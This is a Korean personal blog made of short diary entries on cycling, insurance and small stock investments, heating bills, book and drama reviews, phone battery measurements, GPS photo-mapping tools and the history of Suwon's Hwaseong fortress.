한참 업힐 중에 멈췄다. 자전거를 손보지 않은 상태라 기어가 1단으로 내려가지 않는다. 젠장. 올해 처음으로 제대로 자전거를 타는 건데 무리할 이유가 없어 멈췄다. 뒤따라 올라오던 아저씨가(두 번 내게 추월 당한) '이거 일반 자전거죠?' 라고 물었다. 흘낏 그 아저씨 자전거를 보니 내 자전거의 10~20배 정도 되는 값비싼 자전거다. '네 그래서 속도가 안 나요.' 라고 말해 염장 처리 했다.
다운힐에서 55kmh 가 나왔다. 겁이 나서 브레이크를 자주 잡았다. 예전에 타고 다니던 27만원 짜리 유사 MTB보다 고속 주행시 안정감이 눈에 띄게 좋다. 역시 45만원이나 하는 비싼 자전거가 값을 하는구나 생각했다. 시내를 가로질러 가는데 비싸 보이는 사이클을 타고 다니는 한 무리의 사람들을 봤다. 언젠가 나도 저런 크로몰리 프레임을 타게 될까? 글쎄... 내 마음이 저렴해서.
굳이 디지털 시계를 구입해야 하는 까닭: 바늘 시계의 틱틱 소리 때문에 신경이 곤두선다나? 아내만 그런 줄 알았는데 다른 여자들도 그런 것 같다. 그런데 나는 시계 소리 들으면 잠이 잘 온다.
틱... 틱... 틱...
전기양 세 마리.
틱... 틱... 틱...
전기양 다섯 마리.
한 마리는 어디 갔을까?
죽었지.
100여만원에 거래된다는 '무소유'를 판매해 아이가 다니는 어린이집 월납금에 보태려고 했는데, 집에 굴러다니던 그 책이 언제인지 없어졌다. 개똥도 약에 쓰려면 없다더니. 법정의 저작 '무소유'를 어린 시절에 읽었다. 당시에는 내가 심한 무소유 상태라서 읽어도 아무 느낌이 없었다. 무슨 내용이었는지 기억도 안 난다.
몇 개월 전부터 자칭 파이낸셜 플래너(속칭 보험 설계사)가 끈질기게 전화를 걸었다. 가입한 보험상품에 문제가 있으니 만나서 재무 설계를 도와주겠단다. 문제가 뭐냐고 물으니 내용이 길어 만나서 얘기하잔다. 바쁘다고 줄곳 거절했지만, 만나서 얘기듣는데 손해볼 것 없지 않느냐고 참 질기게 설득한다.
사무실 근처 커피숍에서 인사했다. 한 30분은 재무설계 하는 척 하더니 인터넷으로 가입했던 저축보험을 해약하고 변액보험으로 갈아타라고 충고한다. 보아하니 인터넷으로 가입한 사람들을 찾아 돌아다니며 보험 설계랍시고 가입자를 설득해 신규 보험으로 갈아타게 해서 보험 설계사 수당으로 먹고 사는 것 같았다(왠지 내가 부러 시간내서 똥 밟은 기분). 최저 4% 연 복리가 보장되는 저축보험의 장래야 장기 저금리 시대가 도래해 앞날이 무척 암울하지만, 애당초 연 4% 가정하고 가입했기에 바꿀 생각이 없다.
그 날 따라 거래처 전화를 기다리며 딱히 할 일이 없어 한가한 오후였다. 재테크에 관해 피차 이런 저런 쓸데없는 얘기를 주고 받았다. 미래가 얼마나 절망적이며 내가 얼마나 무계획하게 살아가고 있는지 침 튀기는 웅변(거의 절규에 가까운)도 들었다.
이렇게 만난 것도 인연인데, 커피도 얻어 마셨고, 그 양반에게는 내가 주식투자로 푼돈 번 성공담을 얘기해 주고(난 시장에서 저평가되는 싼 주식 중 내가 아는 IT 분야의 유망 중소 종목만 2-3% 수익을 목적으로 쩨쩨하게 주식투자한다. 그랬더니 한달에 5~10만원은 버는 것 같다. 경제도 배우고 실패도 배우고 게다가 생활에 보탬이 된다 당신도 함 해봐라 하이닉스가 블록세일에 성공해서 앞날에 거추장 스러울게 없다. 3만원 보고 몇 개월 잼겨 놓았고 6월쯤에 환매할 예정이다. STS 반도체는 삼성의 SSD를 받아 테스트한다. 꽤 싼 주식인데 내 경우 6천원에 들어갔고 지금 7천원인데 만원 보고 있다. HTS 보고 사냐고? 하루에 2-3번 본다. 단타는 안 한다.).
최근에 배운 재테크 기법을 잘난 체 하며 전수해 주기도 했다. 변호사, 의사 등 고소득 직종군에서 요새 유행하고 있는 '풍차 돌리기'라는 것인데, 환금성과 복리 효과 두 마리 토끼를 잡는 비결이다. 목돈이 있으면 비교적 금리가 높고 세제 혜택이 있는 신협에서 1개월 단위로 최저 예금액으로(보통 100~200만원 수준) 매월 가입해 12개의 통장을 만드는 것이다. 그리고 1년이 지나면 최초 가입한 예금을 해약하고 원금+이자를 받아 다시 예금에 넣는다. 깨기 힘든 적금이나 예금과 달리 목돈이 필요할 때 즉시 환금할 수 있으며 복리 효과도 유지된다.
입만 열면 72의 법칙 운운 하는 그가 복리 계산식을 잘 모르는 것 같아 노키아폰을 꺼내 공학용 계산기로 가르쳐 주었다. S = I * (1 + r) ^ y (S: 총액, I: 초기금액, r: 이율, y: 연수) 이렇게 해서 애써 모은 3천만원의 목돈으로 연복리 5.7%(현재 시중의 저축은행 중 가장 높은 금리)로 10년을 굴려야 S = 3000 * ( 1 + 0.057) ^ 10 = 5222만원이 된다. 어떻게 보면 인덱스 펀드만도 못한 수익율일 수도 있다.
악수 하고 헤어질 때 그 양반이 이렇게 말했다: 유익한 시간이었어요.
그럼 나는!?
봄은 참 늦게 왔고 그 동안 참 차게 지냈다. 난방비 7만원에 아내가 기겁해서 보일러를 꺼 버렸고 아이는 감기를 달고 살았다. 아파트 지역 난방 밸브 조절 무의미 -- 요점 정리: 유량으로 측정하면 난방비가 더 나온다(기지의 사실). 들어오는 물의 온도와, 나가는 물의 온도차로 측정하는 적산 열용량계를 신청해서 달면 난방비를 아낄 수 있다. 참고자료: http://music24.kr/xe/4550 또는, http://www.jay.or.kr/sub_read.html?uid=1394§ion=section17 아파트에 설치된 것이 적산 열량계로 추정된다. 고로 교환할 필요가 없을 것 같은데, 관리실에 묻는 걸 번번이 잊어버렸다. '가스 요금 2012부터 열량 단위 부과' -- 이런 기사도 있는데, 음식하기 힘들 정도는 아니겠지?
6/2이 지방선거다. 바빠서 후보들의 뒷조사를 할 시간이 없다. 유시민이 경기도 지사 후보로 출마했다. 별 고민없이 그를 찍을 것이다. 정운찬 총리는 세종시 수정안에 관해 '다소 손해를 보더라도 약속을 지켜야 한다'는 자신의 철학이 담긴 자서전을 면전에서 흔드는 한 국회의원에게 당혹스러운 표정을 지었다. 세종시 수정안을 반대하는 박근혜에게는 국민과의 약속을 지킨다는 명분이 있다. 여당이 두 패로 나뉘어 아귀다툼을 벌이고 있는 와중에 청와대 이동관 수석은 '대구, 경북 놈들 문제 많다'고 말했다. 그러고도 안 짤리는 걸 보니 이명박 대통령의 의중을 적시한 것인가 보다. 여당이 좀 더 힘차게 싸우다가 열받은 이명박 대통령이 장중한 결단을 내리길 바란다. 이 나라가 쪼개지건 말건 결단(자뻑)은 물론 국민투표가 바람직했다.
늘 생각이 많은 직장인 x씨는 이렇게 말했다: 아 심심해서 자살하고 싶다. 스타일을 중시하는 베짱이들은 한겨울 추위 속에 식량이 떨어져도 개미 집 앞에서 문을 두드리며 비참한 꼴을 보이는 대신, 눈보라치는 벌판에 드러누워 말없이 피식 웃고 시크하게 죽었다.
로저 젤라즈니, 집행인의 귀향 -- 에스프레소 노벨라 첫 권. 왠지 변죽만 울리다 끝난 것만 같다. 이왕 맘 먹었으면 팔 걷어붙이고 도스토예프스키처럼 썼으면 얼마나 좋아? 행맨과의 격투에 관해 번역자와 대체 그런 아크로바트가 어떻게 가능한가 뒷다마를 깠다. 그래도 하인라인이나 실버버그, 아시모프처럼 동시대상이 반영되어 지금 읽기엔 구질구질한 로봇과 인공지능의 실존에 관한 거개 SF작가들의 견해보다 젤라즈니가 상대적으로 세련된 것이다.
울라프 스태플슨, 스타메이커 -- 옛날 SF임에도 최근의 우주론의 대세와 부합되지 않는 몇 가지를 첨삭하고 고루한 문장을 조금 손 보는 정도 외에는 길이 남을 기념비적인 작품이다. 중반 이후론 재미가 없지만. 올 가을 쯤에는 때가 되었으니 과천 과학관에 가서 아이에게 별들을 구경시켜 줄 것이다. 과천 과학관에서 혹시 플라네타리움 전용 필름 같은 걸 상영 하는지 모르겠다.
오랫만에 서울에 갔다. 여자들은 생각보다 별로 안 예뻤고(복식만 그럴 듯) 대개의 사람들이 지하철에서 우측보행을 했다. 생각 외로 금새 자율화되는 것 같아 의아했다.
우측보행이 일반화된다면 보행 편의성은 크게 좋아진다. 한국교통연구원의 가상 시뮬레이션에 따르면 보행속도는1.2~1.7배 증가하고 충돌 횟수7~24%,보행밀도 19~58% 감소 등이 이뤄진다. 보행 편의성이 좋아진다는 의미다. 한국교통연구원의 이종훈 연구원은 “현실과 다소 차이는 있을 수 있지만 효율적인 보행방식임은 틀림없다”고 설명했다.
- 측정: Energy Profiler 1.2 사용: 측정이 귀찮고 까다로워 20-30초 평균 소비전류량을 측정해 계산한 것으로 실제와는 차이가 있을 수 있다. Energy Profiler가 CPU를 2% 가량 사용하는 것 같음.
- LCD off(LCD가 켜진 상태일 경우 50% 밝기), Free Memory: 24.42MB, Phone Disk: 28.88MB, Memory Card: 68.50MB
- 연결: 일반 프로파일(KT 패킷 전화망을 켠 상태, BT 및 무선랜은 테스트에 따라 켜거나 끈다), USB는 연결 안함.
- 실행중인 process list
- EasServer.exe
- EasStartUp.exe
- OPENLICENSESERVER
- SymSvr_0x2002A6CE.exe
- TSRAutoStart.exe
- aRed
- psdk_Impro.exe
- s2gvariantserv.exe
- 평균 600mAH의 전력을 소비한다고 가정하고, 하루에 40장 정도의 사진을 찍고 한 번 사진 찍을 때 20초를 소비한다면, 600mAH*(20s/1h)*40 = 133mAH
- 평균 600mAH의 전력을 소비한다고 가정하고, 하루에 3개의 비디오를 1분씩 찍을 때, 600mAH*(1m/1h)*3 = 30mAH
- GPS + MP3 with Bluetooth(172mAH) 에, 사진 찍고 비디오 찍으면서 돌아다니면 (1260-133-30)/172 = 6.3h
- N5800은 라디오를 듣기 위해 반드시 이어폰을 이어폰잭에 꽂아야 한다. 그렇게 되면 블루투스 헤드셋을 사용할 수 없다. 하여튼, GPS + Radio Vol=100% (85mAH) 에, 사진 찍고 비디오 찍으며 돌아다니면 (1260-133-30)/85= 12.9h.

살아있기도 헷갈리는 시절이다.아테나가 어깨를 들썩했다. "그건 전투 중에 일어난 일이잖아. 난 피가 들끓는 상태였고.""날 죽이려 했던 변명이 고작 그거냐, 이 개 같은 여신아?"
우리는 석기 시대를 떠나지 않았어도 된다. 중간계층에 속할 필요도 없다. 학교에서 좋은 성적을 거둘 필요가 없다. 심지어 학교에 갈 만큼 자랄 필요도 없다. 부모의 언어 세례를 받을 필요도 없고, 부모가 언어를 제대로 구사하지 못해도 된다. 사회구성원이 되기 위한 지적 수단이나, 집과가정을 꾸려나가는 기술이나, 확교한 현실 이해능력도 필요없다. 사실 이 모든 이점들을 다 가졌다 해도 유전자가 두뇌 일부에 결함이 있으면 우리는 유능한 언어 사용자가 되지 못한다.
여자: 나 떠날 꺼야.남자: 어떤 놈이야?
S := NP VP, NP := [det] N [PP], VP := V NP [PP], PP := P NP
기분이 좀 상했다. 오랫동안 다닌 길만 밟는 것도 예의가 아닌 것 같아 모처럼 힛겔을 구경하다가 발견한 것: 자겔의 항공남 -- 첫 만남부터 결혼할 때까지 무려 3년 동안이나 자랑을 늘어놓았다. 대단하다. 난 마누라 자랑꺼리가 딱히 없다. 딸애도 평범하고.
모 동호회 투표에서 올해의 공로회원으로 뽑혔다. 선약이 있어 참석할 수 없다. 안 가게 되어 왠지 다행스럽다.
12/6, 광교산에 올랐다가, GPS의 전지가 떨어져 헤멨다. 머리가 아파서 사실 헤메는게 목적이었던지라 개의치 않았다. 눈밭을 슬금슬금 걸었다. 올해는 정말 많은 일을 했다. 산에서 헤메는 것은 정말 오랫만이다. 오랜 기간 동안 나는 많은 사람들을 가르쳤다. 한참 길 없는 길을 걷다가 내려오니 용인이다. 휴가나 가고 싶다. 다시 올라갔다. 다른 능선을 타고 갔다. 내려오니 또 용인이다. 거참.
태을봉에서는, 옆 자리에 앉아있던 아저씨가 함께 온 아줌마들에게, 오줌은 나무 밑에서 싸는게 정석인데 자기 오줌이 소중한 거름이라 나무에게 주긴 아깝다고 말했다. 오늘이 무슨 날인가? 귤 껍질과 마찬가지로 오줌의 요산 역시 분해되지 않아 거름은 커녕 나무에 독이 되는 것으로 알고 있다. 하지만 산에서 오줌 싸고 똥 싸고 과일 껍질 여기저기 버리는 아저씨들이 나이 헛 쳐먹고 ㅄ 짓을 한다고 단정하지는 못 하겠다. 상식이 부족해서 그런 것 뿐. 예를 들면 풍부한(?) 상식을 가진 나는 괜한 똥고집을 피우지 않았고, 풍부한 상식이 없더라도 누군가 제제하면 그럴만한 이유가 있다고 여겨 대개 지시를 따랐다. 확실히 내가 알만한 것에서 상대가 헛소리를 할 때만 귤껍질 아저씨나 오줌싸는 아저씨처럼 편한 대로 했다. 그런데 이상하네? 내가 아는 5-60대 아저씨들 대부분은 무식한 도싯내기와는 거리가 멀어 농사 짓느라 퇴비 만들어본 경험들이 있을텐데? 크리스마스가 가까워졌으니, 주여, 여기저기 똥오줌을 싸대는 저 불쌍한 개새끼들을 상식으로 구원하소서.
LG전자, 업계 최초 카메라 2개 장착 로봇청소기 출시 -- 삼성이 만든 로봇 청소기에도 카메라가 달려 있는데, 하라는 청소는 안 하고 혼자서 춤을 출 때가 있다. 심지어 바보같은 음성 멘트가 나온다. 말하는 로봇 만큼 짜증나는 것도 없는데 툭하면 뭐라고 지껄이는 밥통보다 묵묵히 밥을 하는 밥통이 나은 줄 모르고 삼성 기술자들이 음성 멘트를 넣은 것이 신기하다(그래서 냉장고도 폭발한 걸까?). 로봇 청소기는 구매대기 목록에 올라와 있고 장기간 잠복 중인 아이템이지만 아직까지는 쓸만한 것을 보지 못했다. 무수한 마루타들이 LG 로봇 청소기의 사용기를 올릴 때까지 느긋하게 기다려 보련다.
그렉 베어, 신의 용광로 -- 어쩌다 지금에야 읽게 되었다. 꽤 재미가 없다가 마지막에서 지구가 멸망하는 대목만 읽을만 했다. 그것도 그리 길지 않아 실망스러웠다. 2004년에 Anvils of stars가 '별들의 기원'이란 제목으로 출간된다고 책 날개에 써 있으나 출간되지 않은 것 같다.
이희재, '번역의 탄생' -- 좋은 책이다. 아이들에게 강제로 읽게 했으면 좋겠다. 번역의 탄생에는 우리글 바로쓰기 시리즈의 이오덕이나 오마이뉴스의 ''의'를 안써야 우리말이 깨끗하다' 같은 국어에 대한 다소의 집착과 강박이 없다. 그간의 편협하고 단편적인 사고방식으로 번역자는 한국어를 잘해야 한다고 밑도 끝도 없이 지껄였지만, 이 책에는 그에 관한 실감나는 사례가 풍부했다. 정말 유익해서 예시된 문장과 단어를 위키 페이지로 만들어 일용할 양식으로 사용하고 아울러 널리 알려야 하지 싶다.
언어의 사용이 자유로운 지금의 어린 세대의 조어를 인정하면서도 왜 형태소가 망가지면 안되는지 설명하는 대목이 특히 심금을 울렸다. 뭐 사실 젊은이들이 들락거리는 사이트에서 만연한 일본어 직역 어투에 은근히 거부감을 느끼기도 하지만, 실은 그런 목적어에 충실치 못한, 되다만 번역의 영향으로 '니뽄필' 문장을 거리낌없이 구사하는 어린이들에게 유감은 없다. 영어 번역도 마찬가지다. 다만 니뽄필이나 아메리칸 스타일 익스프레션을 사용하지 않는 자연스러운 한국어 표현은 저자 말대로 힘차다. 힘차고 담백하고 우아하고 아름답고 생생하다 -- 유창한 욕설을 늘어놓거나 접할 때 다들 경험해 봤을 것 같다.
아이리스 -- 진중권이 광화문 광장을 세상에서 가장 큰 중앙분리대라고 했던가? 그래 보인다. 광화문을 통째로 빌렸다더니 고작 이런 거나 찍으려고? (실은 여기가 한국이란 것을 깜빡하고 영화 Heat의 스펙타클한 총격전을 상상했다) 앞뒤 안 맞는 장면이 꽤 많았다. 손발이 오그라들던 화면의 엉터리 영어. 해커라는 것들이 '국제 표준 아이리스 OS' 화면에서 키보드 두들기는 엉성한 자세. 극 전반에 걸쳐 카메라웍이 거지같아서 안쓰러웠던 기억. 한 3초 스킵해서 FF 하다보면 스토리가 얽혀 길을 잃기도. 중국 대량생산 복제품 같은 꾀죄죄한 서사에 그것 마저 힘겹게 따라가는 연출인데, '이병헌'으로 드라마가 버텼달까? 한국보다 국민 소득이 훨씬 더 많은 '선진국' 일본이 아이리스만도 못한 드라마를 만든다는 것을 위안으로 삼아야겠다. 그냥 심술이다.
무얼 생각하고 있니? 따개비루 따개비루 / 어딜 바라보고 있니? 따개비루 따개비루 / 따개 따개 따개 따개 따개비 루 / 따개비 루 따개비 루 -- 가끔 아침마다 듣는 중독성 있는 노래. 엄마의 실수로 버려져 자신이 따개비인 줄 착각하고 사는 갈매기 루가 부모 없이도 얼마나 행복하게 사는지 보여주는 유아 애니메이션. 굉장히 재미있어서 자주 보고 노래를 따라 부르기도 한다. 홈페이지에 가보니 역시나 올해 애니메이션상을 받았다. 받을만 하다. 올해 본 애니 중 제일 나았다.
문제는 우리가 산소를 호흡에 사용할 때마다 일부 전자가 떨어져나온다는 데 있다. 아무 것도 하지 않고 그저 숨만 쉬고 있는데도 우리가 소비하는 산소 중 약 2%는 자유 라디칼로 변한다. 격렬한 운동을 할 때에는 그 비율이 10%로 커진다. 어떤 계산에 따르면, 1년 동안 단순히 호흡하는 데서 입을 수 있는 잠재적 피해는 흉부 X선 사진을 1만 번 찍을 때 방사선으로 입는 피해와 비슷하다.
밴 앨런은 우리 머리 위에 떠 있는 방사능 구름에 자신의 이름을 남겼다. 그렇지만 그는 거기서 그치지 않았다. 1973년, 무인 탐사우주선 파이어니어 10호의 청정실에서 작업을 하던 밴 앨런은 은밀히 흰 장갑을 벗고 거기에 지문을 남겨놓았다. 알데바란을 향한 200만년 이상이 걸리는 이 우주 여행에는 밴 앨런의 지문도 함께 승선하고 있다.
취미 생활로 지도 만든다니까, 요새 자주 묻는 질문과 답변 하나.
Q. 그거 돈 되요?
최근에는 대부분의 사진을 휴대폰 카메라로 찍었다. 뭘 찍어도 사진이 구렸다. 한동안 틈틈이 카메라 스펙 쇼핑을 했다. 사고 싶은 카메라는 Casio EX-Z450이다. 배터리 한 번 충전으로 550여장을 찍을 수 있고 H.264 동영상 녹화가 가능하다(무엇보다도 H.264 동영상 녹화가 중요). 렌즈 밝기도 그만하면 됐다. 8GB SD 포함해서 최저가는 361230원. 2-3개월 기다리면 가격이 떨어질까? 이 카메라를 사는 사람들이 있긴 한지 궁금하다.
responsible travel, political travel 이란 범주의 '여행 방식'에 관한 글을 찬찬히 읽어보았다. 배낭여행이잖아? 또는 배낭여행에 꽃칠한 건가? 돈없이 찌질거리며 다니지 않는 배낭여행을 말하고자 함인가? 미얀마 여행을 할 것인가, 말 것인가, 거기 갖가지 핑계를 갖다붙일 수 있지. 여행을 해서는 안 될 이유와, 여행해야 할 이유 따위들. 그렇게 생각하면 두 단어는 좌파 등신들이 갖다 붙이기 좋아하는 좀 역겨운 정의역 이거나 마케팅 용어처럼 여겨지기도 한다. 그러므로 특별히 할 말이 있어야 할 이유가 없기 때문에 비아와 상관없다, 게다가 이견부주심막추심이다.
잦은 자전거 사고로 머리가 아파서 자전거 보험을 알아봤으나, 내가 다쳤을 때 보장하는 것은 쥐꼬리만하고 내가 자전거로 남을 치었거나 기물을 파손했을 때 보장해 주는 것이다. 일반 상해 보험과 다를 것 없고, 심지어 자전거 도난도 보험 처리가 안 된다. 거의 쓸모가 없는 보험이랄 수 있겠다. 하지만 이런 자전거 보험을 들고 최소한 마음의 평안을 얻은 사람들도 많은 듯.
이사가면 자전거를 사주겠다고 아내에게 약속했다. 뭐 사실 본인은 원치도 않지만 기껏 자전거 타는 것을 가르쳐줬는데 이 김에 자전거 좀 타보도록 권하고, 안 타면 내가 타고 다니면 된다는 생각으로 아내가 몰고 다닐만한 자전거를 알아봤다.
수년 전 어렵사리 아내에게 자전거 타는 방법을 가르쳐 주었다. 의외로 쉽게 배우는 것으로 보아 용기가 없었지 운동신경이 없는 것은 아니었다. 여러 기종을 알아봤지만 가격대가 높아야 그나마 성능이 좀 되는 것들이라 참 고르기가 난감했다. 브롬톤이나 KHS가 좋지만 많이 비싸다. 첼로에서 나온 블랙캣 컴팩트3.0이 의외로 사양이 좋았다. 다혼 OEM 차체이고 더더군다나 폴딩이 되면서 성능도 어느 정도 괜찮아 보였다. 무엇보다도 29만원! 두말 없이 구입했다.
6단 기어로 대략 22~24kmh 정도가 나오고 8단에서 30kmh 정도가 가능하다. 다만 고개를 오를 때 조금 경사 있는 곳을 오르니 앞 바퀴가 들려서 황당했다. 안장 위치를 앞으로 조금 당기고 핸들바를 낮추니 쓰러지진 않겠다. 어차피 아내가 타려면 싯과 핸들바 사이가 내가 타는 것보다는 좁아야 하고, 다리를 편하게 뻗으려면 MTB의 다이아몬드 형태의 프레임보다는 이게 나을 듯.
GPS도 마운팅. 핸들바가 높다. 자전거 무게는 12.2kg로 그렇게 가볍진 않은 편. 의외로 자전거가 탈만 해서 놀랐다. 아내보다 내가 더 자주 사용하게 될 것 같다. 그런데 차체의 길이가 26인치 자전거와 같다. 생각보다 자전거가 길다.
자전거 타고 돌아오는 길에 줄 서서 기다리며 먹는 희안한 만두가게(보영만두)에서 만두와 쫄면을 포장주문했다. 집에 가져와 아내와 먹어보니 쫄면과 고기만두는 괜찮았지만 김치만두는 별로였다. 미니벨로에 애를 태우고 이틀동안 돌아다녔다. 그나저나 서울 에어쇼에 못 간 것이 아쉽다.
'장난감을 많이 가지고 놀다가 죽은 사람이 성공한 인생을 살다 간 사람이다.' from 말콤 포브스. -- '열혈장사꾼'이란 만화책에서 봤다. 여자 얼굴들이 다 똑같은 특이한 만화다. 되지도 않는 말을 갖다 붙이는 것이나 어안이 벙벙할 정도로 유치한 서사가 돋보이기도 했다. 심지어 이걸 드라마로도 만든다!
몰래 트위터질을 얼마간 하다가 접었다. 몇 안 되는 글자로 정서 표현이나 url 끄적이는 정도나 가능할 뿐, 나나 트위터의 이웃의 초 단위로 변하는 지저분한 감상이나 밑도 끝도 없는 위트를 즐기기엔 내 스펙이 역부족이다(mea culpa! mea culpa!). 아무래도 평소 게시물에 달린 한 줄 짜리 댓글에 가지고 있는 복잡한 감정과 비슷하지 싶다.
blog(web log)가 애당초와는 달리 상당히 많이 변형되었다는 것을 미리 감안하고, 자기 일기장 공개해서 얼굴을 모르는 '친구'를 사귀고, 밑도 끝도 없이 공감하고, 선전으로 돈을 벌고, 자기 일기에 토다는 걸 감사해 하는게 어떻게 생각하면 웃겼다. 반감은 없다. 그냥 웃긴다.
FRAME | APPALANCHIA ALLOY FRAME |
FORK | RST, OMNI 191-T9, 80mm TRAVEL, W/O PIVOT, FOR DISC BRAKE |
RIMS | 26X1.75\", 14GX32H, F/V, SIDE CNC |
HUBS | SHIMANO, HB-RM65, 32H, OLD:100mm, CENTER LOCK |
SPOKES | STEEL BLACK, STEEL UCP NIPPLE |
TIRES | HENGA, HS-391, 26X1.95\", F/V(40mm), SKIN WALL, ALL BLACK |
PEDALS | ALLOY, 9/16\", BODY:ALLOY SILVER, CAGE:ALLOY BLACK |
CRANK | 42X34X24T, 170mm, ARM:ALLOY BLACK |
CHAIN | KMC, Z-72 |
BOTTOM BRACKET | SHIMANO, BB-UN26, SHELL:BSA 68mm |
FRONT DERAILLEUR | SHIMANO, FD-C050, DUAL PULL, Φ31.8 BAND |
REAR DERAILLEUR | SHIMANO, ACERA RD-M360-L, DIRECT-MOUNT BLACK |
SHIFTERS | SHIMANO, ST-EF60-8, 3X8-SP, BLACK |
HANDLEBARS | APPALANCHIA BAR, Φ22.2XΦ25.4, W:620, RISE:20, SAND BLAST BLACK |
STEM | APPALANCHIA STEM, Φ28.6XΦ25.4, 17˚, H:41, EX:90/110, SAND BLAST BLACK |
HEADSET | 1-1/8\", STEEL BLACK |
BRAKESET | SHIMANO, BR-M416-L, MECHANICAL DISC BRAKE, 160mm CENTER LOCK RING ROTOR |
SADDLE | APPALANCHIA SADDLE, RAIL:STEEL BLACK, W/APPALANCHIA LOGO |
SEAT POST | ALLOY, Φ27.2X350L, SAND BLAST BLACK, W/APPALANCHIA LOGO |
생명이 있는 자들은 모두 동쪽으로삼라만상이 모두 자유로워지기를두려움과 번뇌와 가난에서 자유로워지기를마음의 평화가 찾아오기를
전 대원이 환각에 시달리는 Defying Gravity 4화에서 H2IK Sequence란 것이 나왔다. 로스트를 벤치마크했는지 바보같은 플래시백을 자나깨나 사용하고 심한 낚시질에 내용은 별 거 없고 아울러 재미도 없지만 H2IK 시퀀스는 언젠가 써먹을 수 있을 것 같다. H2IK=Hell If I Know
9월 23일 밤. 아내는 라면 세 박스를 포함한 다섯 박스의 짐과, 아이를 데리고 오후 11:30분 비행기를 타고 터키로 날아갔다. 오랫만에 하는 여행 탓에 며칠 전부터 기분이 좋은지 콧노래를 부르며 평소와 달리 아이를 살갑게 대했다.
한 달 후 귀국할 때 잊지 말고 알려줘야 할 팁: 비행기에서 자다 깬 경우, 수면 중 열이 오르기 때문에 신종플루 검사를 위해 설치한 입국장 적외선 감지기에 걸려 수속이 지체될 수 있으므로 괜히 빨리 빠져나온다고 서둘러 뛰지 말고(나나 아내나 평소에 번거로운 입국수속 지체를 피하기 위해 1등석 승객들보다 더 빨리 빠져나온다) 화장실에 들러 찬물로 얼굴을 씻어 열을 내릴 것.
Solar Roadways -- 이거 정말 끝내주는데?
Russia's New Holiday: Programmer's Day -- 선진국 러시아.
드릴 비트 대부분이 부러져 남은 것이라고는 출력이 약한 전지식 전동 드라이버에서는 별 무쓸모인 콘트리트 비트만 남았다. 토크도 토크거니와 멀쩡한 비트가 없어 해머 드릴 기능이 있는 전동 드릴을 새로 구입했다.사은품으로 끼워주는 드릴 비트의 품질이 영 꽝이다. 그들 중 금속용 비트를 부러뜨려 먹었고 쓸모없는 콘크리트 비트의 숫자를 셋 더 늘렸다. 어쩔 수 없어 다시 드릴 비트만 주문했다. 홈 DIY 별로 안 좋아한다. -_-
9월 2일. 김씨 아저씨가 표를 줘서 디스트릭트9 시사회를 봤다. 그냥 웃겼다. 영화는 무척 웃겼는데 지나고 나니 세부를 대부분 잊어버렸다.
샌드맨을 읽었다/봤다. 닐 게이먼의 글은 좋은데 그림이 질린다. 참 정이 안가게, 재미없게 그려주신다. 일본 코믹스에 익숙해진 탓일까? 그런데 샌드맨의 그림은 잘 그린 것도 아니잖아? 유명 만화가란 것들이 왜 이렇게 개성 없는 그림질인걸까? 똥멋만 들어가지고.
집에 돌아와 컴퓨터 앞에서 드라마를 보다보면 졸기 일쑤였다. 졸다가 깨보면 새벽 2시나 3시 무렵. 아침 8~9시에 일어나는 의외의 생활이 이어지고 있다.
Philanhropist. 이번엔 인도 카시미르. 과부들의 땅. 어떤 이는 필란쓰로피스트가 위선적이라고 말했다. 마치 월드비전이 성금 모아서 외국에서 통전선교를 하는게 메스꺼운 것처럼. 담요 한 장 덮지 못해 얼어죽는 아이들을 위해... 그만 하자.
Fringe 2기 시작. A New Day in the Old Town. 이제 본격적인 드라마 시즌. 하지만 볼만한 드라마 대부분이 더이상 방영을 하지 않아 아쉽다.
진 마징가 Z. 비너스A의 출격. 이런 장면을 비롯한 전투씬 등에서 보이는 뛰어난 연출 때문에 아직도 보고 있다. 음악도 괜찮다.
샹그리라. 여고생 지랄물이라 생각한 건 내 잘못. 무겁고 살벌한 세상살이. 많이도 죽인다. 24화로 끝났다.
flikr에 사진을 올리면 텍스트큐브에서 쉽게 사진을 임베딩할 수 있다. 하지만 flickr는 바보스런 수동 지도 매핑 방식을 고집했다. 그래서 여전히 사진을 파노라미오에 올렸고 트랙로그는 wikiloc.com에 올렸다. gpson.com 사이트를 만든 상오기님이 사진과 트랙로그를 결합한 것을 만들었다.
트랙로그를 mapsource로 읽어와 gdb로 저장한 다음 gpsbabel로 gdb를 gpx로 변환하고, photoworks로 사진을 일률적으로 조정한 다음 geosetter로 geocoding을 하고 panoramio에는 사진을 올리고, wikiloc에는 트랙로그를 올리는 대단히 복잡한 방식을 사용하고 있다. 무슨 장점이 있는 것도 아니고, 장인스러운 고집도 아니다. mapsource, geostter는 훌륭한 프로그램이라 해두고, panoramio나 wikiloc은 그것을 대체할 서비스가 없어 보여서다. mapsource와 gpsbabel은 gps track maker를 사용하면 그만이지만, KOTM v3 지도에서 경로를 대조해 보는 재미가 상당하다.
panoramio는 jpg의 description(comment)를 사용하지 않았다. 그래도 flickr보다는 낫다.
gpsbabel은 utf-8 엔코딩의 변환에 문제가 있다.
geosetter는 잘 생긴 프로그램이다.
picasa의 웹 앨범은 무료의 경우, 고작 1GB만 지원한다.
저번에 화성행궁을 보고 의외로 대단해서 화성을 제대로 관광하자고 마음 먹었다. 9월 6일. 때마침 아내와 아이가 어디 놀러갔다.
화성이 유명 관광지이긴 하지만 수원을 방문한 관광객이 수원에 체류하는 시간은 평균 4시간, 그동안 쓰는 비용은 일인당 1300원 정도다. 수원시의 돈 먹는 하마라는 화성운영재단은 유네스코 지정 문화유산으로 돈벌이를 제대로 못하고 있었다. 시의원들이 까대는 핑계인 돈벌이는 그렇다치고, 화성운영재단이 별다른 일을 하지 않는 것 같아 내가 세계문화유산이 있는 도시에서 자부심을 느끼며 살아가는데 다소 지장이 있다. 그건 그렇고 화성운영재단은 매년 적자를 보고 있는 수원화성사랑채(화성행궁 옆)를 운영하는데, 사랑채의 도미토리 투숙은 1인당 1만원 꼴.
* * *
체제공은 화성 축성에 관한 행정을 총괄했고 정약용은 성설(화성의 설계도)을 지었다. 1792년 정조는 정약용에게 기초 조사 및 설계를 지시하고 1794년 1월 화성 축성을 시작하여 1796년 9월 완성했다. 정조는 규장각을 통해 서양 문물을 받아들여 청나라의 고금도서집성중 5천여권을 수입해 외국문물을 연구하도록 했다.
화성의 동쪽과 서쪽은 산을 자연적으로 이용하고 남쪽과 북쪽은 평지에 거중기를 사용해 축성했다. 그리고 도시기반 시설을 마련했는데, 만석거를 건설하고 축만제(서호)를 건설함으로써 과학영농의 중심이 되게 했다. 수원에는 지금도 농업시험소가 있다.
